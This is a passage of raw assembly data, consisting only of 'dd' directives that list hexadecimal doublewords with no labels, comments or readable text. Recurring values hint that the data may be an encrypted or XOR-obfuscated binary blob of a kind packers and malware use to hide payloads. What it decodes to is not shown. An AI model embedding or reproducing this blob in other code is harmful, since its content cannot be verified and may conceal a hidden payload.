15B79EBCh dd 4B340143h, 223214E7h, 0AF64EC66h, 77CDEA99h, 0AD6CE24Fh dd 22321560h, 0AE526313h, 0D092AEEh, 42296DBEh, 220E9069h dd 9C3D1566h, 88321577h, 4432198Fh, 16160966h, 76579B9Ch dd 0E9C9C8Fh, 51B79E4Ah, 0CB340153h, 1132156Dh, 8284E393h dd 0B638B22h, 70089069h, 113214DCh, 0D2E51466h, 9AB97306h dd 0A7097493h, 17296DB2h, 887D9069h, 0CE521566h, 9FB174A8h dd 1726356Fh, 0B6B71A66h, 0AD321566h, 2232156Ah, 97A83C86h dd 989DDC36h, 0B0AB3C37h, 3FB79E93h, 1E34016Bh, 883212E2h dd 45B51A66h, 0D7321566h, 0EECDAE35h, 571BEA99h, 4439FC3Dh dd 2F3F1566h, 0A9925DD4h, 450E5CDh, 458F96DCh, 2234017Bh dd 11639169h, 0F3D1566h, 4432157Dh, 22279269h, 1DB1566h dd 0F4321566h, 17156BC1h, 7187E8E5h, 4DC681CFh, 0B3093FBDh dd 5F4B75E3h, 6B71A60h, 0E4321566h, 0A72390EDh, 0CB3D1372h dd 22321561h, 11339169h, 0DBC71566h, 443214DDh, 79ED1466h dd 11339F69h, 0BCA1566h, 503B5CDBh, 0A63D1560h, 113217FEh dd 882C9F69h, 4B521566h, 36DBE3D1h, 0AD321566h, 0E08D1595h dd 478362D5h, 0D7FC77CCh, 733B0228h, 0E9918E8Dh, 755FA8E5h dd 2D321372h, 113072E2h, 883EFC66h, 0F3821566h, 501F6CEAh dd 9E732167h, 0D092572h, 42296C22h, 220F9069h, 9ACE1566h dd 9C2774E3h, 0B8527560h, 22321F8Fh, 0E8862D66h, 36CFD790h dd 256E0472h, 2232198Fh, 50324066h, 16A5D345h, 0E26780A4h dd 9C647473h, 11321567h, 706CE267h, 44339369h, 19CE1566h dd 0A4B41E3h, 0B5B71A60h dd 24321566h, 2232078Eh, 45CFA566h, 0B45FC5E7h, 0F802ED28h dd 5A676A74h, 0F82EDCC9h, 8832156Fh, 25507AB5h, 3D29E847h dd 0AB524DFDh, 0A3EAE0ABh, 0C1B97407h, 24263BA3h, 3DB14293h dd 746DEA42h, 3D7A905Dh, 0A73D137Dh, 1132150Eh, 883E9569h dd 0C03D1566h, 22321560h, 11329669h, 0E3D1566h, 44321567h dd 2BB79E9Fh, 1E340147h, 88321DEDh, 46BA1A66h, 42321566h dd 0AF64ED07h, 0A85400BDh, 72C1F3E7h, 0D4B30C1Eh, 2FBB3702h dd 0BE8AFBE7h, 0B31B2B8Fh, 2D527538h, 113215E5h, 0E96C4366h dd 4439FD36h, 0F9B21566h, 52FBD9A8h, 5704A73Dh, 256B4B54h dd 5B6A905Dh, 943D137Dh, 88321535h, 4432198Fh, 965E9C66h dd 54E3673Bh, 2A98D605h, 61B79E10h, 2D34017Bh, 11321EECh dd 8834FC66h, 2AEF1566h, 7133DE1Dh, 3A6AAB30h, 66F30E5Dh dd 41DCD461h, 0E4B3C391h, 7D006A4Bh, 0BCB5D3E7h, 0B33386A9h dd 2AB51A38h, 1E321566h, 883217E5h, 7F537566h, 394B49E3h dd 41B71A60h, 0E8321566h, 44379769h, 0A3541566h, 9A623E88h dd 33D74BFh, 4432157Dh, 2223FC06h, 0B121566h, 8D1E25EEh dd 2F6A582Eh, 371B30CDh, 7735623Fh, 353DBEDh, 503B4CE3h dd 44807560h, 0EE8F4007h, 0A1CDEA99h, 0C5524889h, 91A52786h dd 6B80AE7Eh, 0B35369BAh, 5F4B59E3h, 1AB71A60h, 1E321566h dd 883219E2h, 9FB37566h, 6E5EADB2h, 40B2AD00h, 11B79E07h dd 0B8340168h, 5237AC37h, 0F0E3054Dh, 0E9FB942Fh, 0C536A641h dd 2A2A8DA7h, 48FD14BDh, 88339469h, 7FCA1566h, 394B45E3h dd 54B71A60h, 87321566h, 44320DEAh, 2221FC66h, 4FB01566h dd 89D7644Eh, 2498DCC3h, 0D24490C5h, 504CAC21h, 0F5B79ED7h dd 0BC340162h, 0DDCDAB30h, 0E61BEA99h, 99B61A38h, 0AD321566h dd 2232156Ah, 0D59F8C86h, 0E6D06003h, 9B276AB4h, 135FA8E5h dd 1E321372h, 883826E2h, 43B11A66h, 42321566h, 77DC9400h dd 0D097446h, 42296DBAh, 221E9069h, 90521566h, 65EE5B91h dd 25F39E70h, 22339E69h, 9ACB1566h, 9C2B24E3h, 4434FC60h dd 60A11566h, 0D906178Ch, 8833AE35h, 9B331566h, 0A709E03Dh dd 17296C16h, 88659069h, 0C13D1566h, 22321567h, 70B79E9Fh dd 61340164h, 4432156Eh, 33AB39C2h, 23A30509h, 0BB5EAD36h dd 94C51E51h, 0FAC5CD91h, 0D9FE814Bh, 0D0F53C92h, 0C73D759Eh dd 22321564h, 0F9527406h, 88321576h, 1EC3200Bh, 611139C0h dd 5A712CD3h, 0F2DA129Eh, 44BA1A3Eh, 43321566h, 0F1B72E07h dd 87340E1Eh, 44325BE3h, 0AE3D7566h, 11321565h, 0EE68FBE6h dd 0CF53C3EDh, 36170CE3h, 1121FC60h, 1F751566h, 23FCC8Fh dd 0F99B65DCh, 51C42247h, 0F80869A6h, 458C434Fh, 23321566h dd 5DB4B91h, 7E321566h, 97641F3Eh, 196B1477h, 1B507D2h dd 0DB7194DFh, 7FE35679h, 394AF1E3h, 53B71A60h, 87321566h dd 443202EDh, 2220FC66h, 5FA1566h, 2AF18E2Dh, 83E3F173h dd 0F061BDE8h, 1E6701F4h, 9A8790EDh, 54DB1372h, 0B7321566h dd 18EDC622h, 277FBCDCh, 0B165F7F2h, 70ACE34Bh, 113214DCh dd 0D2E51466h, 0ACB72E9Ah, 2D340E1Eh, 11327BE3h, 8822FC66h dd 0A9B31566h, 0A9B84B72h, 9E40EE0Fh, 580FB4D9h, 0C1B94B2Fh dd 24263E53h, 0F3B37506h, 8C5D8BE6h, 44321C8Eh, 0FCFEE066h dd 406A96E6h, 0E9688AC7h, 44321F8Eh, 3CCC9B66h, 0BD210433h dd 3D7930Fh, 4B534B95h, 223219E6h, 1135FC66h, 0E3861566h dd 85FE5391h, 308847E6h, 9029643Eh, 3067A894h, 14F0945Ch dd 0BEC2394h, 2AC74FB1h, 934AF9E3h, 72B71A60h, 0DB321566h dd 313BA8E5h, 87321372h, 44323DE3h, 2EBC1A66h, 1E321566h dd 883213E2h, 44B01A66h, 0A9321566h, 5100CE3h, 0EECA7560h dd 1253CDEDh, 223214D8h, 4FC51466h, 78B72E9Ah, 4B340E1Eh dd 22327CE3h, 1EBA1A66h, 61321566h, 4432156Ch, 702C509Ch dd 6DE8DBA7h, 0DB9BA72h, 42263443h, 0A2D79F06h, 1E534390h dd 883202E3h, 4420FC66h, 6BE81566h, 4A7F0826h, 0F0D54232h dd 34A32BD7h, 7D98140h, 0EECDAF34h, 5F1BEA99h, 443FFC3Ch dd 6081566h, 0EE4B0B9Ch, 8C9ADCE5h, 24411A4Bh, 0D0B6A3DCh dd 9B3D4203h, 88321566h, 0C109743Dh, 24296D92h, 11779069h dd 83D1566h, 44321567h, 2B8F969Eh, 11340146h, 88039069h dd 48DB1566h, 18321566h, 0BA5FCCEFh, 1A401131h, 0CFAE9792h dd 361BA8E3h, 0E6B97560h, 0E9CC9E00h, 0BBCDAE35h, 0FD1BEA99h dd 1137FC3Dh, 27051566h, 7F536A18h, 394AEDE3h, 48B71A60h dd 61321566h, 44321577h, 220D9335h, 75DC8B6Dh, 21B85160h dd 3A3F141Bh, 1BB79E2Bh, 0F834017Bh, 8832156Eh, 0D07FB931h dd 0EAC000AEh, 11239A69h, 93D1566h, 4432156Dh, 2232138Fh dd 0D2D9DF66h, 0D9ABD214h, 443214DFh, 7BFD1466h, 11389069h dd 87521566h, 0A58DC3D9h, 432D8841h, 69CE905Dh, 0D3D137Dh dd 4432152Dh, 22321E8Fh, 1CB1B666h, 83D4CFBEh, 0B8F6EBF2h dd 0EBF90EDh, 9D3D1372h, 8832156Ah, 82B37306h, 0A3540C9Dh dd 70C9FCBCh, 0C840AE35h, 0A7F37934h, 5D99465h, 0D0451210h dd 7BB31285h, 380047A3h, 3B88D6E7h, 0CE1B53EDh, 0B3C7E93Dh dd 5F4B11E3h, 72B71A60h, 0E9321566h, 0A83BA8E5h, 4B321372h dd 223257E3h, 1120FC66h, 5D7A1566h, 57415ECAh, 5B82ECB0h dd 0D020E3AFh, 0DD6557E8h, 740390EDh, 70C71372h, 113214DCh dd 0D2E51466h, 4421FD06h, 60DB1566h, 2997233Eh, 1D272862h dd 0CAD833A8h, 611DFCF3h, 2A534E47h, 934B15E3h, 11B71A60h dd 2D321566h, 11320CE8h, 8826FC66h, 2A5D1566h, 4620813h dd 0FC0B3212h, 4543959Ah, 5EF4895Eh, 9FB10ED8h, 1726356Fh dd 0A1B71A66h, 0AD321566h, 2232156Ch, 6B6C11A5h, 0EA6BB3A7h dd 0C1B9F5BDh, 24261657h, 1088479Eh, 89321566h, 41DB4FB1h dd 4A321566h, 0E68097DCh, 0F13A905Dh, 0C13D137Dh, 22321504h dd 1132058Fh, 0EBF61666h, 87D8D16h, 8C2DDD28h, 1CDFE5DAh dd 1B79EF4h, 2434016Fh, 22219369h, 1CDA1566h, 18321566h dd 1133E0C5h, 2CDACE8Ch, 35B533D3h, 8837FD39h, 0F5FF1566h dd 2D44DC9Fh, 113215EEh, 0DB534F66h, 0BBCDEADDh, 79ED3C99h dd 113E9769h, 0D3D1566h, 44321560h, 22329C69h, 94091566h dd 8E296C6Ah, 440E9069h, 32DB1566h, 3321566h, 0E029CD52h dd 0B8593E19h, 46AD5200h, 9A478887h, 9C30CCE3h, 0FD63E960h dd 22321567h, 0F86BDA67h, 88321574h, 926A77E2h, 5224FB86h dd 34F91A13h, 62BEA7EFh, 0C109B24Ah, 24296C76h, 111E9069h dd 8FDB1566h, 0FD321566h, 0D43463D5h, 94B9F7E7h, 8E2615CFh dd 458A459Ah, 23321566h, 1ADB4DA1h, 8D321566h, 43AF7E8Ch dd 7CCB9951h, 9409F7B3h, 8E296C72h, 44109069h, 0A9CB1566h dd 5107CE3h, 3F3D7560h, 0D7DB94BEh, 4379F4A6h, 1133AD36h dd 4F331566h, 0C554753Eh, 438A4994h, 682A905Dh, 0D3D137Dh dd 443215FBh, 22279C69h, 1DB1566h, 24321566h, 8AAC227h dd 0D798D9C7h, 968D9064h, 3545791h, 5022F4E3h, 24DB7560h dd 0E8321566h, 4DAFA44Fh, 878D1A0Fh, 223CFC07h, 0C8A01566h dd 11D9AD06h, 2BC862B0h, 0EB85F685h, 4D59AE35h, 0CB796AC3h dd 4663FEE7h, 0D1B348DEh, 30DF4F7Dh, 8769CA67h, 44320FE2h dd 36B31A66h, 0F8321566h, 88321569h, 4066FF42h, 0E49D1A7Fh dd 251EC49Dh, 0E8C9D6A4h dd 4432018Eh, 0A65BDF66h, 0E6CBF2A8h, 758E0492h, 0BA5A71AEh dd 55801756h, 36897350h, 5EB94A83h, 58B72E07h, 2D340E1Fh dd 113255E3h, 3CBEC66h, 501654E3h, 223EFC60h, 4E301566h dd 0C8F2EB6h, 693098B4h, 0CEB116EBh, 350E9C62h, 0D7161199h dd 44321A8Fh, 0A18A5D66h, 0A5C6B936h, 7D73CFA3h, 1992C611h dd 0C9B37306h, 9385411Ah, 0A8B72E07h, 4B340E1Fh, 223259E3h dd 1ADA7566h, 0D1321566h, 39D2CE04h, 0CF52414h, 70689F23h dd 0AE7790EDh, 55DB1372h, 10321566h, 0D5125305h, 8002F148h dd 0E6014671h, 0B8E55603h, 0EECDAC37h, 471BEA99h, 443DFC3Fh dd 0B2C1566h, 8C77061Eh, 0B0875517h, 86C4ECD2h, 6B72E9Bh dd 1E340E1Fh, 883254E3h, 443FFC66h, 52871566h, 53379BBCh dd 0AA708EBAh, 0CF04AB69h, 361BB0E3h, 943DE060h, 8832156Ah dd 44349969h, 0AA3D1566h, 11321566h, 8833A833h, 0AB331566h dd 25BC1A3Bh, 1E321566h, 883214EFh, 0C109E066h, 242636B3h dd 11039069h, 86DB1566h, 7D321566h, 8BA9CC89h, 0B59F6C6Ah dd 4A40C1B0h, 0BDB79E47h, 2D340170h, 113212EBh, 0D1657566h dd 2569D1E6h, 2233AF34h, 0C6331566h, 0B3CAEC3Ch, 5F4B3DE3h dd 0DB71A60h, 71321566h, 87B0C8E6h, 443217ECh, 437EA366h dd 49F90EDh, 43D1372h, 4432156Ah, 1864AA06h, 90545024h dd 0E9FDBD8Fh, 0BE03C257h, 0A570C257h, 9409E9B1h, 8E296C02h dd 445E9069h, 0A53D1566h, 11321568h, 88321C8Fh, 675A5A66h dd 0A92D1E39h, 0ACB1434Ah, 8E296C0Ah, 5AB71A66h, 0CB321566h dd 1132156Dh, 108549D6h, 0B1B5384Ah, 0A1608FBBh, 51E4CDBh dd 0C3D1560h, 44321548h, 0BBB79E9Eh, 1E340142h, 88321FE0h dd 4437FC66h, 0F7911566h, 41BC7333h, 77CDEADEh, 1CF53C99h dd 223A9569h, 90521566h, 0EE94DA97h, 0C1097458h, 24296C0Eh dd 11429069h, 82DB1566h, 0E4321566h, 74DAC619h, 0F9C55807h dd 0E48F96ECh, 44340E1Fh, 22169069h, 953D1566h, 88321567h dd 0F9B1ED9Ah, 2426393Fh, 2EB61A66h, 0E8321566h, 44339369h dd 2DCB1566h, 113215E7h, 0DB97466h, 42261EDFh, 0CA8AAA06h dd 1688437Fh, 0E944C119h, 1D6D4431h, 2DFD9227h, 113204E4h dd 83B11A66h, 0AD321566h, 22321560h, 0D1655208h, 0D09088Bh dd 42296C4Ah, 221F9069h, 9ACA1566h, 9C29A0E3h, 443AFC60h dd 47D21566h, 5BC8ADFFh, 3567810Eh, 0BBCDEA99h, 0CB6FFA4Fh dd 1132156Dh, 315C3EF2h, 97DA73A1h, 1992CD45h, 0A4B25E3h dd 0C6B71A60h, 4B321566h, 22320CE4h, 1DB7566h, 1D321566h dd 0C66EBC2h, 0A78ACF64h, 0E14F6BDBh, 0E8946BA2h, 0C1B97407h dd 24260927h, 108A459Ah, 89321566h, 0F1524DA1h, 223EFC0Eh dd 7E0C1566h, 0BF111581h, 250A6DDEh, 4253A2B9h, 0A741A5DFh dd 71851A26h, 70B72E07h, 2D340E1Fh, 113244E3h, 89B41A66h dd 0B1321566h, 0BAB90EDh, 1DB1372h, 56321566h, 76CD77B3h dd 8DC06742h, 0F388DD65h, 6156F46Bh, 44321572h, 82BE6571h dd 0A3A6AA7Ah, 0F155A0CFh, 70DC7B20h, 80AA7812h, 0EECDA833h dd 671BEA99h, 0CF54753Bh, 20B61AA4h, 0A6321566h, 0D09743Bh dd 42296C5Eh, 22719069h, 923D1566h, 88321561h, 44339E69h dd 2DCE1566h, 113214E1h, 0DB9E966h, 422605D7h, 0F8897306h dd 1138FC0Ch, 0F57A1566h, 0BE8349CCh, 0DB0DE07Fh, 108F4007h dd 89321566h, 42DB4889h, 37321566h, 188B5D17h, 0B4B72EEAh dd 4B340E1Fh, 223226E3h, 94B9E966h, 8E260903h, 0B3B37306h dd 2D52FAC0h, 113215EEh, 0F4897366h, 14537478h, 0DDCDEADEh dd 49F53C99h, 88321E8Fh, 0D7B8A366h, 1AFD33CBh, 5E698B88h dd 0F172905Dh, 0C13D137Dh, 2232155Ah, 1132128Fh, 351C1A66h dd 357AACBFh, 2232138Fh, 8A739D66h, 3B9EAD7h, 502B24E3h dd 2222FC60h, 7CE1566h, 2876D1E0h, 9002D502h, 23C0D102h dd 0A96205D2h, 77CDEA99h, 0BD6AD24Fh, 0A63DEA6Dh, 11321552h dd 33544206h, 246ACFD4h, 2DF49E00h, 7053D5D9h, 8832078Fh dd 86C51266h, 0C070CED2h, 0A2962DA3h, 305D5C95h, 0AD2E51A6h dd 0DDCDF94Ch, 0D8851A06h, 0E9E8AA69h, 7063905Dh, 0A73D1372h dd 11321528h, 0DEB7989Fh, 4B340E66h, 223214E7h, 12DBED66h dd 0E8CDEA8Ah, 44321A8Fh, 1EC9466h, 731A8CD3h, 0CFD9BBB2h dd 62B7C62Ch, 2232188Eh, 0D322FF66h, 710FD5E1h, 89DFA5ABh dd 2EDB79BAh, 81321566h, 0B2CD8F0Eh, 73E321F7h, 79B3F2C0h dd 9409ED07h, 8E261CDBh, 447F9069h, 75521566h, 0AF91E7E7h dd 366C6493h, 5D48E187h, 0AE8F9607h, 10340E1Eh, 88039069h dd 0C9CB1566h, 7B3972E3h, 19B01A66h, 87321566h, 443217E3h dd 0CB537566h, 0EECDFEE0h, 8DBC1A06h, 22321566h, 5046C4E7h dd 11369869h, 37541566h, 7F53B81Bh, 394A89E3h, 3FB61A60h dd 0E8321566h, 44309969h, 0D5B91566h, 0B1B72E07h, 87340E1Eh dd 44323DE3h, 30B21A66h, 0F8321566h, 8832156Bh, 0B0321718h dd 98B79ADEh, 351A2E5Bh, 6302FC96h, 24CBEA99h, 9DE19E00h dd 292E2E85h, 8CDE9607h, 0FC1611EFh, 22321566h, 0F86AD3EFh dd 88321560h, 2498DCC3h, 0DCB190C5h, 0A8B71A67h, 7D321566h dd 3CA2905Dh, 0A73D137Dh, 11321520h, 88359269h, 0C03D1566h dd 22321567h, 0D5B79893h, 61324DE1h, 4432156Bh, 1082593Fh dd 0AB54ACF9h, 0A708F0F6h, 0FC54752Ch, 4252ADC7h, 7059AF07h dd 0E95314DEh, 0BBD8A88Fh, 25BB1A99h, 1E321566h, 883214E6h dd 0C109ED66h, 24296DF2h, 11189069h, 5CA1566h, 1CBA2FE3h dd 0CF8B7566h, 7719D71Ch, 2589FDE7h, 0CFDBE007h, 2DCDEA8Ch dd 11321EE9h, 8834FC66h, 29891566h, 0F3D3C5E3h, 69AA905Dh dd 0D3D137Dh, 44321542h, 2232108Fh, 0F673C966h, 0DBFFFD4h dd 446A9D19h, 223A9E69h, 953D1566h, 88321564h, 0FDB7406h dd 0DBCDEA8Ch, 35369E36h, 8836D1E7h, 0C33D1566h, 22321570h dd 1132048Fh, 953C1566h, 5525939Dh, 1D789E9Bh, 0C7130DC2h dd 31633769h, 2822738Fh, 0CBF3CC91h, 50E3E263h, 0C604AE35h dd 0AFE3604Dh, 4447E6E7h, 0FAF30C2Eh, 9E1E262h, 196D3695h dd 79EB149Fh, 0ED6BDBEFh, 0D3DE36Dh, 44321570h, 0CB9BFC9Eh dd 1ADBEA99h, 4A321566h, 6E7A791Bh, 654056CCh, 0FDB334CDh dd 88321562h, 0CD1619EFh, 7BFC9CA7h, 0BCC39406h, 0EE0D16B5h dd 254523DFh, 26C7A0EFh, 98CB1372h, 9C13A0D3h, 43B81A60h dd 2D321566h, 113214EFh, 0C3DE966h, 44321561h, 22339469h dd 91CE1566h, 0D3DFC58h, 44321466h, 223F9269h, 0A8521566h dd 94C27468h, 44329D69h, 72531566h, 113214DEh, 0D9C21466h dd 443215DFh, 0A9F31466h, 1E6A4C5Fh, 883201E2h, 443DFC66h dd 2C141566h, 9723EBCDh, 0E83C38BBh, 0EB0457C1h, 2DF594E1h dd 1001751Eh, 878A4591h, 6D01751Eh, 9D524DA1h, 34EA9366h dd 0DE53E1ECh, 6D1611E7h, 7904D413h, 43FCAD36h, 2D1F2694h dd 6DCF25BBh, 0A43D4DA5h, 11321574h, 8832188Fh, 0BF376466h dd 0A9CA2A88h, 0DF36A6E1h, 0D860DD01h, 334ABDEh, 648CAF66h dd 0D31B1521h, 0D2E1143Eh, 0B18F2E9Eh, 2D340162h, 11322BE4h dd 81B31A66h, 24321566h, 0A3544B34h, 70327D94h, 0E3DEE5Dh dd 44321526h, 2232078Fh, 8DC97666h, 5C5EBC5Dh, 21CED5A6h dd 7554D95Bh, 71950FFFh, 8832138Fh, 3582F466h, 2D6D10FBh dd 0F853E5D1h, 77CDFD05h dd 4432138Fh, 89E7A466h, 71427E79h, 535AA00h, 25EA9E00h dd 3A87A8EDh, 0F8521372h, 88321577h, 5B8CA364h, 243D6F62h dd 96D97BEBh, 90C37635h, 95B37382h, 0E5536B07h, 521B4E3h dd 88321560h, 24CEE966h, 22339B69h, 98CE1566h, 9C13A0D3h dd 45BF1A60h, 0DE321566h, 0EDED88EBh, 8752137Dh, 443213ECh dd 0ACF59466h, 7033BC2Eh, 0E852C699h, 4BF8A269h, 0CA53EFD1h dd 11321576h, 0DA1ED2A9h, 0A57FE6B1h, 1C9F4E42h, 7BF2B93h dd 0D1E49E00h, 4BF21E07h, 22325AE2h, 0F9527566h, 88321574h dd 29A4A25Ch, 894DFDD4h, 2030BC5Fh, 0F8A2991h, 256BFA70h dd 22379B69h, 77881566h, 0E96F8578h, 4435FD06h, 1F311566h dd 5A4AA42Ch, 68B373F9h, 2468AC4Bh, 43534B31h, 1132968Fh dd 3F3D7566h, 77E494BDh, 434AFCE6h, 9FEE88EBh, 53D137Fh dd 4432156Ch, 2D2DA506h, 113215EFh, 5BCD7466h, 0BB779669h dd 25DBEA99h, 2A321566h, 880BF551h, 0F1B9B923h, 242634D3h dd 0B0879C93h, 61340175h, 4432156Dh, 0ECC3915h, 10D1003Dh dd 530C95Dh, 5EA4E3FBh, 2222FC60h, 0D8A41566h, 0A85714C3h dd 7EB670CBh, 8B144ACEh, 0C2CD7D87h, 88321A8Fh, 0F60BD766h dd 0FD0D7EBAh, 0E5FCC6A3h, 1C24FF38h, 40C790EDh, 0CA521372h dd 1132156Fh, 0FE1D4318h, 8D66B03Ch, 0A86AED3Dh, 94BB74A1h dd 8E2634D3h, 44339169h, 43CB1566h, 1EC99E06h, 883211E0h dd 0A08C7366h, 1CB2746Dh, 0B2B71A8Eh, 87321566h, 443214EFh dd 9FB1EC66h, 1726165Fh, 7B61A66h, 0AD321566h, 2232156Ah dd 0F72781BEh, 5A650C5Ah, 93E0A328h, 1436BAD6h, 3537FDA6h dd 48F2EB6Ch, 0F3611D8Eh, 0A2F5EB5Ch, 0E91A3189h, 1E8C753Dh dd 0BC71D173h, 2235FC07h, 0D30B1566h, 1D354E30h, 0C7C7BFDEh dd 16BB118Ah, 14C74D42h, 0E2AC59C3h, 0F967ED4Fh, 48AC59C3h dd 716FFD4Fh, 4A9CEADEh, 0A1C5940Ch, 431CAB2Ch, 1136F9E7h dd 0BCBB1566h, 4436AB42h, 0D21B1566h, 1AB91A38h, 61321566h dd 44321560h, 0EF1F575Ah, 0E89950FAh, 8830008Fh, 0D9BFEC66h dd 2429F6F6h, 11389B69h, 8DDB1566h, 0FE321566h, 0DAD2A56Ch dd 9CCAC699h, 93CA15FBh, 4EB11A60h, 42321566h, 913DEDEDh dd 88321566h, 4434FC07h, 98671566h, 0E2132A8Bh, 252C699h dd 0EA6CAF83h, 0DA536795h, 943DD56Dh, 88321579h, 4432018Fh dd 53DED766h, 49F5DEE7h, 145208E3h, 1C9C96C8h, 0C689C7F4h dd 1127FC89h, 0BC71566h, 5013A0E3h, 0A33D1060h, 11321567h dd 76E6FC9Eh, 0C9CAEA99h, 39C832FBh, 1135FC60h, 0F7DA1566h dd 469B2CCDh, 0CBE1EA57h, 11321572h, 5317717h, 0CBE0D6Fh dd 84CB2Ch, 0FDC31A1Dh, 8FAE92E8h, 0C13DD56Dh, 22321561h dd 110DFC9Eh, 0D9CB1566h, 443211DFh, 4BD89466h, 101DBE2Ch dd 0E1F094ACh, 1D1DBE2Ch, 22321E8Fh, 0B18ADA66h, 95D1C4AEh dd 7127C818h, 2233388Fh, 1FBA1A66h, 61321566h, 4432156Fh dd 9AC96ADEh, 60A8671Ah, 54AF98A1h, 0BC340CE8h, 0A13DC699h dd 11321532h, 88321E8Fh, 62F78D66h, 8691A471h, 0E3C47C9Ah dd 0D1CB4706h, 44249769h, 33DB1566h, 72321566h, 94E4894Eh dd 0FCEAB73h, 0D43E4545h, 3D2ABC19h, 3D879E07h, 24340147h dd 2DC3AA69h, 0F853C2D9h, 88323878h, 4DB71A9Ah, 42321566h dd 0E946A2DEh, 0E9C19F7Fh, 658798EDh, 2EDB1372h, 0FD321566h dd 0B1BAFCF2h, 8A94897Eh, 42B78897h, 11329269h, 0C8881566h dd 256289A4h, 387A0EFh, 1ADB1372h, 73321566h, 0B440F737h dd 0EBD95DE5h, 1E52A6C6h, 3F3DCDD9h, 0F96774B1h, 55B2707Ch dd 221BF8E7h, 65F305E2h, 1FDF9463h, 0A3439B10h, 534BC493h dd 0D5DB3CF6h, 85B3E44Fh, 23D90783h, 0E6E3929Ah, 0B9E324BCh dd 0B8E324ACh, 5C87FBE7h, 0FFB37300h, 0E69B66F5h, 82B3DB4Fh dd 4C9B66F5h, 6F87D3E7h, 74527300h, 8CFB9400h, 86C174B7h dd 113E9369h, 53D1566h, 44321560h, 22329D69h, 56DB1566h dd 87CDEA9Bh, 443214EDh, 0BFBFE066h, 17288DBCh, 883C9669h dd 4B521566h, 223215E6h, 0DBDD9466h, 0E96472D9h, 48DBC699h dd 0D0321566h, 99603A94h, 0E5B7FD1Eh, 243636B9h, 0F164AB00h dd 0FEF3DDE7h, 0DA536D42h, 0CDCF9C33h, 0F2BB488Ch, 1134FC3Ch dd 11AE1566h, 454AC2C7h, 3A87904Dh, 0F8C71372h, 8832156Eh dd 277CDCC7h, 4323A664h, 1AFF90EFh, 2521372h, 1DC746A7h dd 2ABE1A07h, 1E321566h, 883217EEh, 0CF537566h, 362AA0E3h dd 0F8CA7560h, 88321568h, 0F3F8603Bh, 2BAEA440h, 154B002Fh dd 0DD53DDCAh, 81B3F0EFh, 22321562h, 1136F8E7h, 0A4B51566h dd 78BB4942h, 23B31A42h, 0E8321566h, 1657406h, 40F59481h dd 0A3321566h, 11321189h, 0AC0E9266h, 60369C3Ah, 7CBF989Eh dd 71340FFDh, 42B3739Fh, 0BB53FBA4h, 3EB91AB7h, 1E321566h dd 883203E9h, 4423FC66h, 78F61566h, 9D47121Dh, 53306E51h dd 0C9D154A6h, 0A9EA700Fh, 51F48E3h, 0E0CBED60h, 443230D3h dd 2D1611EFh, 11321FE6h, 8837FC66h, 0AB051566h, 70DCF3B1h dd 0D3B3F7EFh, 88321562h, 4436FFE7h, 36B51566h, 2DBB4942h dd 883CFC42h, 22F01566h, 0AA4ABD1Bh, 44FC9718h, 9DCCD2E7h dd 5C8790EDh, 42CE1372h, 1EEB9E00h, 883216EEh, 0BEB97366h dd 41327D07h, 15BB1566h, 9BB91A42h, 0AD321566h, 22321568h dd 4A7F0826h, 0F0D54232h, 34A32BD7h, 0A73D8140h, 1132157Ch dd 8823FC06h, 0B8931566h, 5176A012h, 0FAC7385Ch, 2D7A7802h dd 142A673Ch, 0AFBF7439h, 1728893Eh, 0E8E3EA9Ah, 2453AAD4h dd 22349F69h, 9A3D1566h, 88321566h, 4432018Fh, 0FB8B6D66h dd 51F5969Bh, 0D3BC0DCDh, 153DCE79h, 0E836FA48h, 595A74E6h dd 1321530h, 70B33162h, 0EF6B0242h, 0E3B34F01h, 0EFFF4C71h dd 0FF61459Ah, 2A94771h, 15164967h, 61B34C3Dh, 64A94771h dd 22321C8Fh, 0D9496066h, 3BFB49C4h, 57DB7C60h, 36321566h dd 31B085E7h, 0F750B46h, 9DF75869h, 28076957h, 9C198967h dd 8E26383Bh, 4BF39E06h, 223210E4h, 0DD78AF66h, 0B5371D9h dd 501470DBh, 0A63D1560h, 113215E4h, 8EBB1A06h, 4B321566h dd 223215E1h, 0CF851A66h, 59B79E07h, 0BD340146h, 457904Dh dd 77521372h, 8733D0DCh, 7F53EFD9h, 71B41AA7h, 1E321566h dd 883218EEh, 97897566h, 0A354880Fh, 4E8F0A96h, 0DB97424h dd 4226172Bh, 22321E8Fh, 47E1966h, 190B1608h, 3F045DFh dd 4579065h, 90521372h, 2D14DCB8h, 91EB940Fh, 431A9ED9h dd 0CCB79C9Fh, 87340179h, 443214E9h, 0B9DBEC66h, 71321567h dd 167E007h, 40F79483h, 0A1321566h, 3DB5118Bh, 84BB4942h dd 5DBB1A42h, 0CB321566h, 11321572h, 30FEFAC0h, 3C0E2251h dd 0BDA149CAh, 89B9EEB6h, 84F87DC6h, 0CDF99C35h, 62E9EBEh dd 1136D1E7h, 0D8521566h, 1AF2AA69h, 9B63749Fh, 0EECDEA99h dd 0E86BDD67h, 4432108Eh, 7BD3DD66h, 1CDBA4BDh, 0FB321566h dd 8502578h, 0A5286C75h, 8C4817CEh, 73B97338h, 40DE9607h dd 9F1639EFh, 7DF1074Bh, 4DB3C891h, 28F1374Ah, 0DE6FFD6Fh dd 1133AE35h, 50331566h, 4EBC1A3Dh, 0CB321566h, 11321563h dd 6C92D1C4h, 95B79CD4h, 42340146h, 1EF2AA69h, 8953EAD9h dd 503D54E3h, 953D7560h, 11BB1AA1h, 0E9321566h, 44321B8Fh dd 0C0280766h, 0D1A74ACBh, 9C58D85Dh, 83D1CA4Bh, 361470E3h dd 11321560h, 90B51A66h dd 0AD321566h, 22321575h, 6717A37Dh, 63564C36h, 473FD1F3h dd 151F4900h, 7B544D74h, 885AE926h, 0B1321576h, 0A3D59C31h dd 113211A1h, 8CDD9666h, 181629E1h, 0D71619EFh, 0E4CA150Ch dd 0AC9B8099h, 50DB1372h, 0AF321566h, 5B0223DBh, 45990630h dd 1A682CBCh, 0ED82EA96h, 0EEA00F44h, 9C2298F3h, 45B01A60h dd 0DA321566h, 137F90EFh, 1CA1372h, 502DC8E3h, 0C5B37560h dd 4E37CC27h, 7BF99400h, 70CD74E4h, 0E6B14C42h, 0FEB37562h dd 0F9C31376h, 5BB11A07h, 2D321566h, 11320CE4h, 8826FC66h dd 0AB1B1566h, 0DBAC49AFh, 0ED1781CEh, 0E3972EFEh, 0B12246C0h dd 97CD8F16h, 17260ABBh, 4EB97306h, 0BB538FD0h, 361F48D3h dd 9867ED60h, 8CF79483h, 0C7321566h, 0EB5118Bh, 2DBB4942h dd 3DCDEC42h, 42260DD3h, 0F1B97306h, 98E49400h, 0DBF7470h dd 